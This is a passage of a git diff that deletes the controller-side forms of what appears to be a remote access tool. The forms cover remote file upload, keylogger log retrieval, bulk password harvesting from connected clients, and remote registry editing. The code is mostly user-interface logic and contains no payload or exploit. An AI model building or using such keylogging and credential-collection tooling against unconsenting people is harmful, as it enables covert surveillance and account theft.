private void lstDirectory_DragDrop(object sender, DragEventArgs e) - { - if (e.Data.GetDataPresent(DataFormats.FileDrop)) - { - string[] files = (string[])e.Data.GetData(DataFormats.FileDrop); - var remoteDir = _currentDir; - foreach (string filePath in files) - { - if (!File.Exists(filePath)) continue; - - string path = filePath; - new Thread(() => - { - int id = FileHelper.GetNewTransferId(); - - if (string.IsNullOrEmpty(path)) return; - - AddTransfer(id, "Upload", "Pending...", Path.GetFileName(path)); - - int index = GetTransferIndex(id); - if (index < 0) - return; - - FileSplit srcFile = new FileSplit(path); - if (srcFile.MaxBlocks < 0) - { - UpdateTransferStatus(index, "Error reading file", 0); - return; - } - - string remotePath = Path.Combine(remoteDir, Path.GetFileName(path)); - - if (string.IsNullOrEmpty(remotePath)) return; - - _limitThreads.WaitOne(); - for (int currentBlock = 0; currentBlock < srcFile.MaxBlocks; currentBlock++) - { - if (_connectClient.Value == null || _connectClient.Value.FrmFm == null) - { - _limitThreads.Release(); - return; // abort upload when from is closed or client disconnected - } - - if (CanceledUploads.ContainsKey(id)) - { - UpdateTransferStatus(index, "Canceled", 0); - _limitThreads.Release(); - return; - } - - index = GetTransferIndex(id); - if (index < 0) - { - _limitThreads.Release(); - return; - } - - decimal progress = - Math.Round((decimal)((double)(currentBlock + 1) / (double)srcFile.MaxBlocks * 100.0), 2); - - UpdateTransferStatus(index, string.Format("Uploading...({0}%)", progress), -1); - - byte[] block; - if (srcFile.ReadBlock(currentBlock, out block)) - { - new Core.Packets.ServerPackets.DoUploadFile(id, - remotePath, block, srcFile.MaxBlocks, - currentBlock).Execute(_connectClient); - } - else - { - UpdateTransferStatus(index, "Error reading file", 0); - _limitThreads.Release(); - return; - } - } - _limitThreads.Release(); - - if (remoteDir == _currentDir) - RefreshDirectory(); - - UpdateTransferStatus(index, "Completed", 1); - }).Start(); - } - } - } - - private void btnRefresh_Click(object sender, EventArgs e) - { - RefreshDirectory(); - } - - private void FrmFileManager_KeyDown(object sender, KeyEventArgs e) - { - // refresh when F5 is pressed - if (e.KeyCode == Keys.F5 && !string.IsNullOrEmpty(_currentDir) && TabControlFileManager.SelectedIndex == 0) - { - RefreshDirectory(); - e.Handled = true; - } - } - - public void AddDrives(RemoteDrive[] drives) - { - try - { - cmbDrives.Invoke((MethodInvoker) delegate - { - cmbDrives.DisplayMember = "DisplayName"; - cmbDrives.ValueMember = "RootDirectory"; - cmbDrives.DataSource = new BindingSource(drives, null); - }); - } - catch (InvalidOperationException) - { - } - } - - public void ClearFileBrowser() - { - try - { - lstDirectory.Invoke((MethodInvoker)delegate - { - lstDirectory.Items.Clear(); - }); - } - catch (InvalidOperationException) - { - } - } - - public void AddItemToFileBrowser(string name, string size, PathType type, int imageIndex) - { - try - { - ListViewItem lvi = new ListViewItem(new string[] { name, size, (type != PathType.Back) ? type.ToString() : string.Empty }) - { - Tag = type, - ImageIndex = imageIndex - }; - - lstDirectory.Invoke((MethodInvoker)delegate - { - lstDirectory.Items.Add(lvi); - }); - } - catch (InvalidOperationException) - { - } - } - - public void AddTransfer(int id, string type, string status, string filename) - { - try - { - ListViewItem lvi = - new ListViewItem(new string[] {id.ToString(), type, status, filename}); - - lstDirectory.Invoke((MethodInvoker)delegate - { - lstTransfers.Items.Add(lvi); - }); - } - catch (InvalidOperationException) - { - } - } - - public int GetTransferIndex(int id) - { - string strId = id.ToString(); - int index = 0; - - try - { - lstTransfers.Invoke((MethodInvoker)delegate - { - foreach (ListViewItem lvi in lstTransfers.Items.Cast().Where(lvi => lvi != null && strId.Equals(lvi.SubItems[TRANSFER_ID].Text))) - { - index = lvi.Index; - break; - } - }); - } - catch (InvalidOperationException) - { - return -1; - } - - return index; - } - - public void UpdateTransferStatus(int index, string status, int imageIndex) - { - try - { - lstTransfers.Invoke((MethodInvoker) delegate - { - lstTransfers.Items[index].SubItems[TRANSFER_STATUS].Text = status; - if (imageIndex >= 0) - lstTransfers.Items[index].ImageIndex = imageIndex; - }); - } - catch (InvalidOperationException) - { - } - catch (Exception) - { - } - } - - /// - /// Sets the current directory of the File Manager. - /// - /// The new path. - public void SetCurrentDir(string path) - { - _currentDir = path; - try - { - txtPath.Invoke((MethodInvoker)delegate - { - txtPath.Text = _currentDir; - }); - } - catch (InvalidOperationException) - { - } - } - - /// - /// Sets the status of the File Manager Form. - /// - /// The new status. - /// Sets LastDirectorySeen to true. - public void SetStatus(string text, bool setLastDirectorySeen = false) - { - try - { - if (_connectClient.Value != null && setLastDirectorySeen) - { - SetCurrentDir(Path.GetFullPath(Path.Combine(_currentDir, @"..\"))); - _connectClient.Value.ReceivedLastDirectory = true; - } - statusStrip.Invoke((MethodInvoker)delegate - { - stripLblStatus.Text = "Status: " + text; - }); - } - catch (InvalidOperationException) - { - } - } - - private void RefreshDirectory() - { - if (_connectClient == null || _connectClient.Value == null) return; - - if (!_connectClient.Value.ReceivedLastDirectory) - _connectClient.Value.ProcessingDirectory = false; - - new Core.Packets.ServerPackets.GetDirectory(_currentDir).Execute(_connectClient); - SetStatus("Loading directory content..."); - _connectClient.Value.ReceivedLastDirectory = false; - } - } -} \ No newline at end of file diff --git a/Server/Forms/FrmKeylogger.cs b/Server/Forms/FrmKeylogger.cs deleted file mode 100644 index 413a3f492..000000000 --- a/Server/Forms/FrmKeylogger.cs +++ /dev/null @@ -1,95 +0,0 @@ -using System; -using System.IO; -using System.Windows.Forms; -using xServer.Core.Helper; -using xServer.Core.Networking; - -namespace xServer.Forms -{ - public partial class FrmKeylogger : Form - { - private readonly Client _connectClient; - private readonly string _path; - - public FrmKeylogger(Client c) - { - _connectClient = c; - _connectClient.Value.FrmKl = this; - _path = Path.Combine(_connectClient.Value.DownloadDirectory, "Logs\\"); - InitializeComponent(); - } - - private void FrmKeylogger_Load(object sender, EventArgs e) - { - if (_connectClient != null) - { - this.Text = WindowHelper.GetWindowTitle("Keylogger", _connectClient); - - if (!Directory.Exists(_path)) - { - Directory.CreateDirectory(_path); - return; - } - - DirectoryInfo dicInfo = new DirectoryInfo(_path); - - FileInfo[] iFiles = dicInfo.GetFiles(); - - foreach (FileInfo file in iFiles) - { - lstLogs.Items.Add(new ListViewItem() { Text = file.Name }); - } - } - } - - private void btnGetLogs_Click(object sender, EventArgs e) - { - btnGetLogs.Enabled = false; - lstLogs.Items.Clear(); - - new Core.Packets.ServerPackets.GetKeyloggerLogs().Execute(_connectClient); - } - - private void lstLogs_ItemActivate(object sender, EventArgs e) - { - if (lstLogs.SelectedItems.Count > 0) - { - wLogViewer.Navigate(Path.Combine(_path, lstLogs.SelectedItems[0].Text)); - } - } - - private void FrmKeylogger_FormClosing(object sender, FormClosingEventArgs e) - { - if (_connectClient.Value != null) - _connectClient.Value.FrmKl = null; - } - - public void AddLogToListview(string logName) - { - try - { - lstLogs.Invoke((MethodInvoker) delegate - { - lstLogs.Items.Add(new ListViewItem {Text = logName}); - }); - } - catch (InvalidOperationException) - { - } - } - - public void SetGetLogsEnabled(bool enabled) - { - try - { - btnGetLogs.Invoke((MethodInvoker) delegate - { - btnGetLogs.Enabled = enabled; - }); - } - catch (InvalidOperationException) - { - } - } - } -} diff --git a/Server/Forms/FrmPasswordRecovery.cs b/Server/Forms/FrmPasswordRecovery.cs deleted file mode 100644 index 3ecfae008..000000000 --- a/Server/Forms/FrmPasswordRecovery.cs +++ /dev/null @@ -1,257 +0,0 @@ -using System; -using System.Collections.Generic; -using System.IO; -using System.Linq; -using System.Text; -using System.Windows.Forms; -using xServer.Core.Data; -using xServer.Core.Helper; -using xServer.Core.Networking; - -namespace xServer.Forms -{ - public partial class FrmPasswordRecovery : Form - { - private readonly Client[] _clients; - private readonly object _addingLock = new object(); - private readonly RecoveredAccount _noResultsFound; - - public FrmPasswordRecovery(Client[] connectedClients) - { - _clients = connectedClients; - foreach (Client client in _clients) - { - if (client == null || client.Value == null) continue; - client.Value.FrmPass = this; - } - - InitializeComponent(); - Text = WindowHelper.GetWindowTitle("Password Recovery", _clients.Length); - - txtFormat.Text = Settings.SaveFormat; - - _noResultsFound = new RecoveredAccount() - { - Application = "No Results Found", - URL = "N/A", - Username = "N/A", - Password = "N/A" - }; - } - - private void FrmPasswordRecovery_Load(object sender, EventArgs e) - { - RecoverPasswords(); - } - - private void FrmPasswordRecovery_FormClosing(object sender, FormClosingEventArgs e) - { - Settings.SaveFormat = txtFormat.Text; - foreach (Client client in _clients) - { - if (client == null || client.Value == null) continue; - client.Value.FrmPass = null; - } - } - - #region Public Members - public void RecoverPasswords() - { - clearAllToolStripMenuItem_Click(null, null); - - var req = new Core.Packets.ServerPackets.GetPasswords(); - foreach (var client in _clients.Where(client => client != null)) - req.Execute(client); - } - - public void AddPasswords(RecoveredAccount[] accounts, string identification) - { - try - { - lock (_addingLock) - { - var items = new List(); - - foreach (var acc in accounts) - { - var lvi = new ListViewItem { Tag = acc, Text = identification }; - - lvi.SubItems.Add(acc.URL); // URL - lvi.SubItems.Add(acc.Username); // User - lvi.SubItems.Add(acc.Password); // Pass - - var lvg = GetGroupFromApplication(acc.Application); - - if (lvg == null) //Create new group - { - lvg = new ListViewGroup { Name = acc.Application.Replace(" ", string.Empty), Header = acc.Application }; - Invoke(new MethodInvoker(() => lstPasswords.Groups.Add(lvg))); //Add the new group - } - - lvi.Group = lvg; - items.Add(lvi); - } - - Invoke(new MethodInvoker(() => { lstPasswords.Items.AddRange(items.ToArray()); })); - UpdateRecoveryCount(); - } - - if (accounts.Length == 0) //No accounts found - { - var lvi = new ListViewItem { Tag = _noResultsFound, Text = identification }; - - lvi.SubItems.Add(_noResultsFound.URL); // URL - lvi.SubItems.Add(_noResultsFound.Username); // User - lvi.SubItems.Add(_noResultsFound.Password); // Pass - - var lvg = GetGroupFromApplication(_noResultsFound.Application); - - if (lvg == null) //Create new group - { - lvg = new ListViewGroup { Name = _noResultsFound.Application, Header = _noResultsFound.Application }; - Invoke(new MethodInvoker(() => lstPasswords.Groups.Add(lvg))); //Add the new group - } - - lvi.Group = lvg; - Invoke(new MethodInvoker(() => { lstPasswords.Items.Add(lvi); })); - } - } - catch - { - } - } - #endregion - - #region Private Members - private void UpdateRecoveryCount() - { - Invoke(new MethodInvoker(() => groupBox1.Text = string.Format("Recovered Accounts [ {0} ]", lstPasswords.Items.Count))); - } - - private string ConvertToFormat(string format, RecoveredAccount login) - { - return format - .Replace("APP", login.Application) - .Replace("URL", login.URL) - .Replace("USER", login.Username) - .Replace("PASS", login.Password); - } - - private StringBuilder GetLoginData(bool selected = false) - { - StringBuilder sb = new StringBuilder(); - string format = txtFormat.Text; - - if (selected) - { - foreach (ListViewItem lvi in lstPasswords.SelectedItems) - { - sb.Append(ConvertToFormat(format, (RecoveredAccount)lvi.Tag) + "\n"); - } - } - else - { - foreach (ListViewItem lvi in lstPasswords.Items) - { - sb.Append(ConvertToFormat(format, (RecoveredAccount)lvi.Tag) + "\n"); - } - } - - return sb; - } - #endregion - - #region Group Methods - private ListViewGroup GetGroupFromApplication(string app) - { - ListViewGroup lvg = null; - Invoke(new MethodInvoker(delegate - { - foreach (var @group in lstPasswords.Groups.Cast().Where(@group => @group.Header == app)) - { - lvg = @group; - } - })); - return lvg; - } - - #endregion - - #region Menu - - #region Saving - - #region File Saving - private void saveAllToolStripMenuItem_Click(object sender, EventArgs e) - { - StringBuilder sb = GetLoginData(); - using (var sfdPasswords = new SaveFileDialog()) - { - if (sfdPasswords.ShowDialog() == DialogResult.OK) - { - File.WriteAllText(sfdPasswords.FileName, sb.ToString()); - } - } - } - - private void saveSelectedToolStripMenuItem_Click(object sender, EventArgs e) - { - StringBuilder sb = GetLoginData(true); - using (var sfdPasswords = new SaveFileDialog()) - { - if (sfdPasswords.ShowDialog() == DialogResult.OK) - { - File.WriteAllText(sfdPasswords.FileName, sb.ToString()); - } - } - } - #endregion - #region Clipboard Copying - private void copyAllToolStripMenuItem_Click(object sender, EventArgs e) - { - StringBuilder sb = GetLoginData(); - - ClipboardHelper.SetClipboardText(sb.ToString()); - } - - private void copySelectedToolStripMenuItem_Click(object sender, EventArgs e) - { - StringBuilder sb = GetLoginData(true); - - ClipboardHelper.SetClipboardText(sb.ToString()); - } - #endregion - - #endregion - - #region Misc - - private void refreshToolStripMenuItem_Click(object sender, EventArgs e) - { - RecoverPasswords(); - } - - private void clearAllToolStripMenuItem_Click(object sender, EventArgs e) - { - lock (_addingLock) - { - lstPasswords.Items.Clear(); - lstPasswords.Groups.Clear(); - - UpdateRecoveryCount(); - } - } - - private void clearSelectedToolStripMenuItem_Click(object sender, EventArgs e) - { - for (int i = 0; i < lstPasswords.SelectedItems.Count; i++) - { - lstPasswords.Items.Remove(lstPasswords.SelectedItems[i]); - } - } - - #endregion - - #endregion - } -} diff --git a/Server/Forms/FrmRegValueEditBinary.cs b/Server/Forms/FrmRegValueEditBinary.cs deleted file mode 100644 index 703380b8e..000000000 --- a/Server/Forms/FrmRegValueEditBinary.cs +++ /dev/null @@ -1,208 +0,0 @@ -using System; -using System.Collections.Generic; -using System.ComponentModel; -using System.Data; -using System.Diagnostics; -using System.Drawing; -using System.Linq; -using System.Text; -using System.Windows.Forms; -using xServer.Core.Networking; -using xServer.Core.Registry; - -namespace xServer.Forms -{ - public partial class FrmRegValueEditBinary : Form - { - private readonly Client _connectClient; - - private readonly RegValueData _value; - - private readonly string _keyPath; - - #region Constant - - private const string INVALID_BINARY_ERROR = "The binary value was invalid and could not be converted correctly."; - - #endregion - - public FrmRegValueEditBinary(string keyPath, RegValueData value, Client c) - { - _connectClient = c; - _keyPath = keyPath; - _value = value; - - InitializeComponent(); - - this.valueNameTxtBox.Text = value.Name; - - - if (value.Kind == Microsoft.Win32.RegistryValueKind.Binary) - { - hexEditor.HexTable = (byte[])value.Data; - } - else if (value.Kind == Microsoft.Win32.RegistryValueKind.DWord) - { - hexEditor.HexTable = BitConverter.GetBytes((uint)(int)value.Data); - } - else if (value.Kind == Microsoft.Win32.RegistryValueKind.QWord) - { - hexEditor.HexTable = BitConverter.GetBytes((ulong)(long)value.Data); - } - else if (value.Kind == Microsoft.Win32.RegistryValueKind.String || value.Kind == Microsoft.Win32.RegistryValueKind.ExpandString) - { - //Convert string to bytes - byte[] bytes = new byte[value.Data.ToString().Length * sizeof(char)]; - Buffer.BlockCopy(value.Data.ToString().ToCharArray(), 0, bytes, 0, bytes.Length); - hexEditor.HexTable = bytes; - } - else if (value.Kind == Microsoft.Win32.RegistryValueKind.MultiString) - { - byte[] bytes = MultiStringToBytes((string[])value.Data); - hexEditor.HexTable = bytes; - } - } - - private void FrmRegValueEditBinary_Load(object sender, EventArgs e) - { - hexEditor.Select(); - hexEditor.Focus(); - } - - #region Help function - - private object GetData() - { - byte[] bytes = hexEditor.HexTable; - if (bytes != null && bytes.Length > 0) - { - try - { - if (_value.Kind == Microsoft.Win32.RegistryValueKind.Binary) - { - return bytes; - } - else if (_value.Kind == Microsoft.Win32.RegistryValueKind.DWord) - { - uint unsignedValue = BitConverter.ToUInt32(hexEditor.HexTable, 0); - return (int)unsignedValue; - } - else if (_value.Kind == Microsoft.Win32.RegistryValueKind.QWord) - { - ulong unsignedValue = BitConverter.ToUInt64(hexEditor.HexTable, 0); - return (long)unsignedValue; - } - else if (_value.Kind == Microsoft.Win32.RegistryValueKind.String || _value.Kind == Microsoft.Win32.RegistryValueKind.ExpandString) - { - //Use ceiling function to make sure that the bytes fit in the char - int nrChars = (int)Math.Ceiling((float)bytes.Length / (float)sizeof(char)); - char[] chars = new char[nrChars]; - Buffer.BlockCopy(bytes, 0, chars, 0, bytes.Length); - return new string(chars); - } - else if (_value.Kind == Microsoft.Win32.RegistryValueKind.MultiString) - { - string[] strings = BytesToMultiString(hexEditor.HexTable); - return strings; - } - } - catch - { - string msg = INVALID_BINARY_ERROR; - ShowWarning(msg, "Warning"); - return null; - } - } - return null; - } - - #endregion - - #region Ok and Cancel button - - private void okButton_Click(object sender, EventArgs e) - { - object valueData = GetData(); - if (valueData != null) - { - new xServer.Core.Packets.ServerPackets.DoChangeRegistryValue(_keyPath, new RegValueData(_value.Name, _value.Kind, valueData)).Execute(_connectClient); - - this.Close(); - } - } - - private void cancelButton_Click(object sender, EventArgs e) - { - this.Close(); - } - - #endregion - - #region Misc - - private void ShowWarning(string msg, string caption) - { - MessageBox.Show(msg, caption, MessageBoxButtons.OK, MessageBoxIcon.Warning); - } - - /// - /// Converts the given string array to - /// a byte array. - /// - /// string array - /// - private byte[] MultiStringToBytes(string[] strings) - { - List ret = new List(); - - foreach (string str in strings) - { - byte[] bytes = new byte[str.Length * sizeof(char)]; - Buffer.BlockCopy(str.ToString().ToCharArray(), 0, bytes, 0, bytes.Length); - ret.AddRange(bytes); - //Add nullbytes - ret.Add(byte.MinValue); - ret.Add(byte.MinValue); - } - return ret.ToArray(); - } - - /// - /// Converts a array of bytes to - /// a string array - /// - /// array of bytes - /// - private string[] BytesToMultiString(byte[] bytes) - { - List ret = new List(); - - int i = 0; - while (i < bytes.Length) - { - //Holds the number of nulls (3 nulls indicated end of a string) - int nullcount = 0; - string str = ""; - while (i < bytes.Length && nullcount < 3) - { - //Null byte - if (bytes[i] == byte.MinValue) - { - nullcount++; - } - else - { - str += Convert.ToChar(bytes[i]); - nullcount = 0; - } - i++; - } - ret.Add(str); - } - - return ret.ToArray(); - } - - #endregion - } -} diff --git a/Server/Forms/FrmRegValueEditMultiString.cs b/Server/Forms/FrmRegValueEditMultiString.cs deleted file mode 100644 index adc22256f..000000000 --- a/Server/Forms/FrmRegValueEditMultiString.cs +++ /dev/null @@ -1,88 +0,0 @@ -using System; -using System.Collections.Generic; -using System.ComponentModel; -using System.Data; -using System.Drawing; -using System.Linq; -using System.Text; -using System.Windows.Forms; -using xServer.Core.Networking; -using xServer.Core.Registry; - -namespace xServer.Forms -{ - public partial class FrmRegValueEditMultiString : Form - { - private readonly Client _connectClient; - - private readonly RegValueData _value; - - private readonly string _keyPath; - - #region Constants - - private const string WARNING_MSG = "Data of type REG_MULTI_SZ cannot contain empty strings. Registry Editor will remove the empty strings found."; - - #endregion - - public FrmRegValueEditMultiString(string keyPath, RegValueData value, Client c) - { - _connectClient = c; - _keyPath = keyPath; - _value = value; - - InitializeComponent(); - - this.valueNameTxtBox.Text = value.Name; - this.valueDataTxtBox.Lines = (string[])value.Data; - } - - private void FrmRegValueEditMultiString_Load(object sender, EventArgs e) - { - this.valueDataTxtBox.Select(); - this.valueDataTxtBox.Focus(); - } - - #region Ok and Cancel button - - private void okButton_Click(object sender, EventArgs e) - { - string[] lines = valueDataTxtBox.Lines; - if (lines.Length > 0) - { - string[] valueData = GetSanitizedStrings(lines); - if (valueData.Length != lines.Length) - { - ShowWarning(); - } - new xServer.Core.Packets.ServerPackets.DoChangeRegistryValue(_keyPath, new RegValueData(_value.Name, _value.Kind, valueData)).Execute(_connectClient); - } - this.Close(); - } - - private void cancelButton_Click(object sender, EventArgs e) - { - this.Close(); - } - - #endregion - - private string[] GetSanitizedStrings(string[] strs) - { - List sanitized = new List(); - foreach (string str in strs) - { - if (!String.IsNullOrWhiteSpace(str) && !String.IsNullOrEmpty(str)) - { - sanitized.Add(str); - } - } - return sanitized.ToArray(); - } - - private void ShowWarning() - { - MessageBox.Show(WARNING_MSG, "Warning", MessageBoxButtons.OK, MessageBoxIcon.Error); - } - } -} diff --git a/Server/Forms/FrmRegValueEditString.cs b/Server/Forms/FrmRegValueEditString.cs deleted file mode 100644 index e518b194f..000000000 --- a/Server/Forms/FrmRegValueEditString.cs +++ /dev/null @@ -1,56 +0,0 @@ -using Microsoft.Win32; -using System; -using System.Collections.Generic; -using System.ComponentModel; -using System.Data; -using System.Drawing; -using System.Linq; -using System.Text; -using System.Windows.Forms; -using xServer.Core.Networking; -using xServer.Core.Registry; - -namespace xServer.Forms -{ - public partial class FrmRegValueEditString : Form - { - private readonly Client _connectClient; - - private readonly RegValueData _value; - - private readonly string _keyPath; - - public FrmRegValueEditString(string keyPath, RegValueData value, Client c) - { - _connectClient = c; - _keyPath = keyPath; - _value = value; - - InitializeComponent(); - - this.valueNameTxtBox.Text = value.Name; - this.valueDataTxtBox.Text = value.Data.ToString(); - } - - private void FrmRegValueEditString_Load(object sender, EventArgs e) - { - this.valueDataTxtBox.Select(); - this.valueDataTxtBox.Focus(); - } - - private void okButton_Click(object sender, EventArgs e) - { - if (valueDataTxtBox.Text != _value.Data.ToString()) - { - object valueData = valueDataTxtBox.Text; - new xServer.Core.Packets.ServerPackets.DoChangeRegistryValue(_keyPath, new RegValueData(_value.Name, _value.Kind, valueData)).Execute(_connectClient); - } - this.Close(); - } - - private void cancelButton_Click(object sender, EventArgs e) - { - this.Close(); - } - } -} diff --git a/Server/Forms/FrmRegValueEditWord.cs b/Server/Forms/FrmRegValueEditWord.cs deleted file mode 100644 index b897e5025..000000000 --- a/Server/Forms/FrmRegValueEditWord.cs +++ /dev/null @@ -1,218 +0,0 @@ -using Microsoft.Win32; -using System; -using System.Collections.Generic; -using System.ComponentModel; -using System.Data; -using System.Drawing; -using System.Linq; -using System.Text; -using System.Windows.Forms; -using xServer.Core.Networking; -using xServer.Core.Registry; - -namespace xServer.Forms -{ - public partial class FrmRegValueEditWord : Form - { - private readonly Client _connectClient; - - private readonly RegValueData _value; - - private readonly string _keyPath; - - private int valueBase; - - #region CONSTANT - - private const int HEXA_32BIT_MAX_LENGTH = 8; - private const int HEXA_64BIT_MAX_LENGTH = 16; - private const int DEC_32BIT_MAX_LENGTH = 10; - private const int DEC_64BIT_MAX_LENGTH = 20; - private const int HEXA_BASE = 16; - private const int DEC_BASE = 10; - - private const string DWORD_WARNING = "The decimal value entered is greater than the maximum value of a DWORD (32-bit number). Should the value be truncated in order to continue?"; - private const string QWORD_WARNING = "The decimal value entered is greater than the maximum value of a QWORD (64-bit number). Should the value be truncated in order to continue?"; - #endregion - - public FrmRegValueEditWord(string keyPath, RegValueData value, Client c) - { - _connectClient = c; - _keyPath = keyPath; - _value = value; - - InitializeComponent(); - - this.valueNameTxtBox.Text = value.Name; - - if (value.Kind == RegistryValueKind.DWord) { - this.Text = "Edit DWORD (32-bit) Value"; - this.valueDataTxtBox.Text = ((uint)(int)value.Data).ToString("X"); - this.valueDataTxtBox.MaxLength = HEXA_32BIT_MAX_LENGTH; - } - else if (value.Kind == RegistryValueKind.QWord) { - this.Text = "Edit QWORD (64-bit) Value"; - this.valueDataTxtBox.Text = ((ulong)(long)value.Data).ToString("X"); - this.valueDataTxtBox.MaxLength = HEXA_64BIT_MAX_LENGTH; - } - valueBase = HEXA_BASE; - } - - private void FrmRegValueEditWord_Load(object sender, EventArgs e) - { - this.valueDataTxtBox.Select(); - this.valueDataTxtBox.Focus(); - } - - #region Helpfunctions - - private string GetDataAsString(int type) - { - if (!String.IsNullOrEmpty(valueDataTxtBox.Text)) - { - string text = valueDataTxtBox.Text; - string returnType = (type == HEXA_BASE ? "X" : "D"); - try - { - if (_value.Kind == RegistryValueKind.DWord) - return Convert.ToUInt32(text, valueBase).ToString(returnType); - else - return Convert.ToUInt64(text, valueBase).ToString(returnType); - } - catch - { - string message = _value.Kind == RegistryValueKind.DWord ? DWORD_WARNING : QWORD_WARNING; - if (ShowWarning(message, "Overflow") == DialogResult.Yes) //Yes from popup - { - if (_value.Kind == RegistryValueKind.DWord) - return UInt32.MaxValue.ToString(returnType); - else - return UInt64.MaxValue.ToString(returnType); - } - } - } - else - { - return ""; - } - //No convertion made - return null; - } - - private DialogResult ShowWarning(string msg, string caption) - { - return MessageBox.Show(msg, caption, MessageBoxButtons.YesNo, MessageBoxIcon.Warning); - } - - #endregion - - #region RadioButton Actions - - private void radioHexa_Click(object sender, EventArgs e) - { - if (radioHexa.Checked) - { - string text = GetDataAsString(HEXA_BASE); - if (text != null) - { - this.valueDataTxtBox.MaxLength = HEXA_64BIT_MAX_LENGTH; - - if (_value.Kind == RegistryValueKind.DWord) - this.valueDataTxtBox.MaxLength = HEXA_32BIT_MAX_LENGTH; - - valueDataTxtBox.Text = text; - valueBase = HEXA_BASE; - } - else if(valueBase == DEC_BASE) - { - //Re-check - radioDecimal.Checked = true; - } - } - } - - private void radioDecimal_Click(object sender, EventArgs e) - { - if (radioDecimal.Checked) - { - string text = GetDataAsString(DEC_BASE); - if (text != null) - { - this.valueDataTxtBox.MaxLength = DEC_64BIT_MAX_LENGTH; - - if (_value.Kind == RegistryValueKind.DWord) - this.valueDataTxtBox.MaxLength = DEC_32BIT_MAX_LENGTH; - - valueDataTxtBox.Text = text; - valueBase = DEC_BASE; - } - else if(valueBase == HEXA_BASE) - { - //Re-check - radioHexa.Checked = true; - } - } - } - - #endregion - - #region OK and Cancel Buttons - - private void okButton_Click(object sender, EventArgs e) - { - //Try to convert string - string text = GetDataAsString(DEC_BASE); - if (text != null) - { - if (_value.Kind == RegistryValueKind.DWord) - { - if (text != ((uint)(int)_value.Data).ToString()) - { - uint unsignedValue = Convert.ToUInt32(text); - object valueData = (int)(unsignedValue); - - new xServer.Core.Packets.ServerPackets.DoChangeRegistryValue(_keyPath, new RegValueData(_value.Name, _value.Kind, valueData)).Execute(_connectClient); - } - } - else if (_value.Kind == RegistryValueKind.QWord) - { - if (text != ((ulong)(long)_value.Data).ToString()) - { - ulong unsignedValue = Convert.ToUInt64(text); - object valueData = (long)(unsignedValue); - - new xServer.Core.Packets.ServerPackets.DoChangeRegistryValue(_keyPath, new RegValueData(_value.Name, _value.Kind, valueData)).Execute(_connectClient); - } - } - this.Close(); - } - } - - private void cancelButton_Click(object sender, EventArgs e) - { - this.Close(); - } - - private void valueDataTxtBox_KeyPress(object sender, KeyPressEventArgs e) - { - //Control keys are ok - if(!Char.IsControl(e.KeyChar)) { - if (radioHexa.Checked) - { - e.Handled = !(IsHexa(e.KeyChar)); - } - else - { - e.Handled = !(Char.IsDigit(e.KeyChar)); - } - } - } - - #endregion - - private static bool IsHexa(char c) - { - return (c >= 'a' && c <= 'f') || (c >= 'A' && c <= 'F') || Char.IsDigit(c); - } - } -} diff --git a/Server/Forms/FrmRegistryEditor.cs b/Server/Forms/FrmRegistryEditor.cs deleted file mode 100644 index fba7a0e49..000000000 --- a/Server/Forms/FrmRegistryEditor.cs +++ /dev/null @@ -1,923 +0,0 @@ -using Microsoft.Win32; -using System; -using System.Collections.Generic; -using System.ComponentModel; -using System.Data; -using System.Drawing; -using System.Linq; -using System.Text; -using System.Windows.Forms; -using xServer.Controls; -using xServer.Core.Networking; -using xServer.Core.Registry; - -namespace xServer.Forms -{ - public partial class FrmRegistryEditor : Form - { - private readonly Client _connectClient; - - private readonly object locker = new object(); - - #region Constants - - private const string PRIVILEGE_WARNING = "The client software is not running as administrator and therefore some functionality like Update, Create, Open and Delete my not work properly!"; - - private const string DEFAULT_REG_VALUE = "(Default)"; - - #endregion - - public FrmRegistryEditor(Client c) - { - _connectClient = c; - _connectClient.Value.FrmRe = this; - - InitializeComponent(); - } - - #region Main Form - - private void FrmRegistryEditor_Load(object sender, EventArgs e) - { - //Check if user is not currently running as administrator - if (_connectClient.Value.AccountType != "Admin") - { - //Prompt user of not being admin - string msg = PRIVILEGE_WARNING; - string caption = "Alert!"; - MessageBox.Show(msg, caption, MessageBoxButtons.OK, MessageBoxIcon.Warning); - } - - // Signal client to retrive the root nodes (indicated by null) - new xServer.Core.Packets.ServerPackets.DoLoadRegistryKey(null).Execute(_connectClient); - - // Set the ListSorter for the listView - this.lstRegistryKeys.ListViewItemSorter = new RegistryValueListItemComparer(); - } - - private void FrmRegistryEditor_FormClosing(object sender, FormClosingEventArgs e) - { - if (_connectClient.Value != null) - _connectClient.Value.FrmRe = null; - } - - #endregion - - #region TreeView Helperfunctions - - private void AddRootKey(RegSeekerMatch match) - { - TreeNode node = CreateNode(match.Key, match.Key, match.Data); - node.Nodes.Add(new TreeNode()); - tvRegistryDirectory.Nodes.Add(node); - } - - private TreeNode CreateNode(string key, string text, object tag) - { - return new TreeNode() - { - Text = text, - Name = key, - Tag = tag - }; - } - - public void AddKeysToTree(string rootName, RegSeekerMatch[] matches) - { - if (string.IsNullOrEmpty(rootName)) - { - tvRegistryDirectory.Invoke((MethodInvoker)delegate - { - tvRegistryDirectory.BeginUpdate(); - - foreach (var match in matches) - { - AddRootKey(match); - } - - tvRegistryDirectory.SelectedNode = tvRegistryDirectory.Nodes[0]; - - tvRegistryDirectory.EndUpdate(); - }); - - } - else - { - - TreeNode parent = GetTreeNode(rootName); - - if (parent != null) - { - tvRegistryDirectory.Invoke((MethodInvoker)delegate - { - tvRegistryDirectory.BeginUpdate(); - - foreach (var match in matches) - { - //This will execute in the form thread - TreeNode node = CreateNode(match.Key, match.Key, match.Data); - if (match.HasSubKeys) - node.Nodes.Add(new TreeNode()); - - parent.Nodes.Add(node); - } - - parent.Expand(); - tvRegistryDirectory.EndUpdate(); - }); - } - } - } - - public void AddKeyToTree(string rootKey, RegSeekerMatch match) - { - TreeNode parent = GetTreeNode(rootKey); - - tvRegistryDirectory.Invoke((MethodInvoker)delegate - { - //This will execute in the form thread - TreeNode node = CreateNode(match.Key, match.Key, match.Data); - if (match.HasSubKeys) - node.Nodes.Add(new TreeNode()); - - parent.Nodes.Add(node); - - if (!parent.IsExpanded) - { - tvRegistryDirectory.SelectedNode = parent; - tvRegistryDirectory.AfterExpand += new System.Windows.Forms.TreeViewEventHandler(this.specialCreateRegistryKey_AfterExpand); - parent.Expand(); - } - else - { - tvRegistryDirectory.SelectedNode = node; - tvRegistryDirectory.LabelEdit = true; - node.BeginEdit(); - } - }); - } - - public void RemoveKeyFromTree(string rootKey, string subKey) - { - TreeNode parent = GetTreeNode(rootKey); - - //Make sure the key does exist - if (parent.Nodes.ContainsKey(subKey)) { - tvRegistryDirectory.Invoke((MethodInvoker)delegate - { - 